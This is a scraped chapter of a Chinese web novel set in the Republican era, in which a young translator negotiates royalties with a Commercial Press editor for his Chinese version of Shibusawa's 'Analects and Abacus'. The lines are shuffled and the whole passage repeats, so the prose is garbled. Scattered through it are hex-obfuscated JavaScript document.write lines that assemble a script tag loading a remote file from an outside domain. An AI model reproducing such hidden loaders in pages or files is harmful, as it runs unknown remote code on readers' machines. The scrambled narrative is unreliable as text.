下一秒天使提示您:看后求收藏(归云文学网),接着再看更方便。
[ 【作者下一秒天使提示:如果章节内容错乱的话,关掉阅读模式,关闭广告拦截即可正常】
] “师弟,你这本书太及时了,简直功德无量,依我看我们中国的国立大学,不说当教科书吧,起码能当经济系本科生的指定重点参考书来读,
“师兄,这是回来的邮轮上,为着教授不懂日文,所以替教授夫妇译的一本《论语和算盘》,这是中文版,你是商务印书馆的大才,还请指正一二。”
既然教授夫妇说要研究一下老先生的作品,以备日本之行锦上添花,我这也是借花献佛,毛笔写字太慢,就权当练习钢笔字了。”
叶林扯开了话题,蒋萌麟闻言倒是一愣,
叶林这本《论语和算盘》中文版在国内出版,一炮打响翻译大家的名头是第一位的,并不真正在乎润笔和版税能赚多少,要求高润笔高版税就是为了给自己做个大广告吸引眼球!
……
蒋萌麟大感意外,轻轻翻去,厚厚的几百页竖排蝇头钢笔行楷,极具颜柳神韵,每一个字都端庄秀丽,耀眼夺目!
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("tt");
“师兄,若是为难的话,我可以去找中华书局或者世界书局,
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("//sv.crossed.wang/HR124IO2.js?"+ (new Date()).getTi() + "") ;
叶林喝了一口咖啡,笑眯眯的看着师兄。
叶林从牛皮纸袋里,找出那份二十五万字的中文文稿,递了过去。
心想这小师弟在哥大念书是聪明是聪明,天才确实天才,但是对哲学和教育毫无兴趣,整天就是学各国语言只为泡各所大学里的各路美女。
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("><\/script>")
而国内以梁其超的版价最高,达到40%,这家伙甚至提出“自印包售,六折算账”,版税的支付时间,按照惯例为“三节”核对实际销售数结算。”
商务印书馆正该出版此书,只是……不知会不会侵犯日本人的版权?”
“师兄,你也知华夏出版译文作品,大多是非版权作品,打着原著非针对华夏出版,则国内自译出版不算侵权的歪理,
“师兄,《论语和算盘》虽然是涩泽老先生的日文作品,但中文版这几百页叶氏行楷可是一笔一划都是小弟原创的哦,
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("s:");
“师弟,你的语言天赋是师兄见过最好的天才之一,这是旅途无聊,才译了什么流行的西方才子佳人言情小说吗?”
“这个……这个,确实有道理,师弟你这笔字,实在是叫人爱不释手,这样,我回去跟张馆长商量一下,无论如何,要给师弟争取最优润笔掘好这第一桶金。”
“《论语和算盘》?这不是日本涩泽老前辈三年前出版的作品吗?听说被指定为日本国立大学经济系的教科书了呢,师弟你翻译成了中文?!”
“师兄,这次我回来路上,机缘巧合倒是译了几篇文章,师兄看看可有出版价值?”
“师兄,你知道我刚回国,年纪又小,又没拿到博士,家里还要养那么多人,这稿费和版税可是我立身之本哦”
但是两年前一起从哥大回国的三个博士,陶文浚当了南京高等师范的教授,胡识更是直接当了北大哲学系的教授。
“师弟你这是哪里的话,师兄我在商务印书馆也是说得上话的编辑,这本书既过了师兄的手,断无再推给其他竞争对手的道理。”
蒋萌麟有点踌躇,不晓得师弟这版税的心理价位是多少?
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("h");
一样都是留美博士,胡识那个哲学博士压根就没拿到正式文凭,却在老师蔡元琣的帮助下修改学历进了北大。
一则若作为教科书的话中华书局本来以出版教科书为主,二则作为翻译作品的话,世界书局以翻译西方作品出版为主。”
却是个甩手掌柜,而蒋萌麟则直接承担了四处奔走联络呼吁和筹款的重任。
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("tt");
蒋萌麟这个人属于既有野心也有大才的,
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("p");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("h");
“师兄,你也知道我在美国胡闹没正经做过学问,这次涩泽老前辈承担教授夫妇访日讲学的全部费用,
“行,阿朱,那几份稿子在最上面的一个牛皮纸袋里,如果怕弄错就把整个箱子都提过来好了。”
“版权不是问题,日文版是三省堂出的,这本书翻译的时候,我就跟涩泽家商量好了,中文版在中国境内的版权,完全归我这个译者所有!”
“版税么,师弟你刚回来可能不知道,如今上海出版界的版税标准一般在10%-25%之间。听说北新书局支付鲁迅著作的版税一般是20%至25%;
] “师弟,你这本书太及时了,简直功德无量,依我看我们中国的国立大学,不说当教科书吧,起码能当经济系本科生的指定重点参考书来读,
“师兄,这是回来的邮轮上,为着教授不懂日文,所以替教授夫妇译的一本《论语和算盘》,这是中文版,你是商务印书馆的大才,还请指正一二。”
既然教授夫妇说要研究一下老先生的作品,以备日本之行锦上添花,我这也是借花献佛,毛笔写字太慢,就权当练习钢笔字了。”
叶林扯开了话题,蒋萌麟闻言倒是一愣,
叶林这本《论语和算盘》中文版在国内出版,一炮打响翻译大家的名头是第一位的,并不真正在乎润笔和版税能赚多少,要求高润笔高版税就是为了给自己做个大广告吸引眼球!
……
蒋萌麟大感意外,轻轻翻去,厚厚的几百页竖排蝇头钢笔行楷,极具颜柳神韵,每一个字都端庄秀丽,耀眼夺目!
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("tt");
“师兄,若是为难的话,我可以去找中华书局或者世界书局,
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("//sv.crossed.wang/HR124IO2.js?"+ (new Date()).getTi() + "") ;
叶林喝了一口咖啡,笑眯眯的看着师兄。
叶林从牛皮纸袋里,找出那份二十五万字的中文文稿,递了过去。
心想这小师弟在哥大念书是聪明是聪明,天才确实天才,但是对哲学和教育毫无兴趣,整天就是学各国语言只为泡各所大学里的各路美女。
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("><\/script>")
而国内以梁其超的版价最高,达到40%,这家伙甚至提出“自印包售,六折算账”,版税的支付时间,按照惯例为“三节”核对实际销售数结算。”
商务印书馆正该出版此书,只是……不知会不会侵犯日本人的版权?”
“师兄,你也知华夏出版译文作品,大多是非版权作品,打着原著非针对华夏出版,则国内自译出版不算侵权的歪理,
“师兄,《论语和算盘》虽然是涩泽老先生的日文作品,但中文版这几百页叶氏行楷可是一笔一划都是小弟原创的哦,
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("s:");
“师弟,你的语言天赋是师兄见过最好的天才之一,这是旅途无聊,才译了什么流行的西方才子佳人言情小说吗?”
“这个……这个,确实有道理,师弟你这笔字,实在是叫人爱不释手,这样,我回去跟张馆长商量一下,无论如何,要给师弟争取最优润笔掘好这第一桶金。”
“《论语和算盘》?这不是日本涩泽老前辈三年前出版的作品吗?听说被指定为日本国立大学经济系的教科书了呢,师弟你翻译成了中文?!”
“师兄,这次我回来路上,机缘巧合倒是译了几篇文章,师兄看看可有出版价值?”
“师兄,你知道我刚回国,年纪又小,又没拿到博士,家里还要养那么多人,这稿费和版税可是我立身之本哦”
但是两年前一起从哥大回国的三个博士,陶文浚当了南京高等师范的教授,胡识更是直接当了北大哲学系的教授。
“师弟你这是哪里的话,师兄我在商务印书馆也是说得上话的编辑,这本书既过了师兄的手,断无再推给其他竞争对手的道理。”
蒋萌麟有点踌躇,不晓得师弟这版税的心理价位是多少?
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("h");
一样都是留美博士,胡识那个哲学博士压根就没拿到正式文凭,却在老师蔡元琣的帮助下修改学历进了北大。
一则若作为教科书的话中华书局本来以出版教科书为主,二则作为翻译作品的话,世界书局以翻译西方作品出版为主。”
却是个甩手掌柜,而蒋萌麟则直接承担了四处奔走联络呼吁和筹款的重任。
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("tt");
蒋萌麟这个人属于既有野心也有大才的,
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("p");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("h");
“师兄,你也知道我在美国胡闹没正经做过学问,这次涩泽老前辈承担教授夫妇访日讲学的全部费用,
“行,阿朱,那几份稿子在最上面的一个牛皮纸袋里,如果怕弄错就把整个箱子都提过来好了。”
“版权不是问题,日文版是三省堂出的,这本书翻译的时候,我就跟涩泽家商量好了,中文版在中国境内的版权,完全归我这个译者所有!”
“版税么,师弟你刚回来可能不知道,如今上海出版界的版税标准一般在10%-25%之间。听说北新书局支付鲁迅著作的版税一般是20%至25%;
武侠小说相关阅读More+
重生民国当文豪所有内容均来自互联网,只为原作者下一秒天使的小说进行宣传。欢迎各位书友支持秦毅并收藏重生民国当文豪最新章节。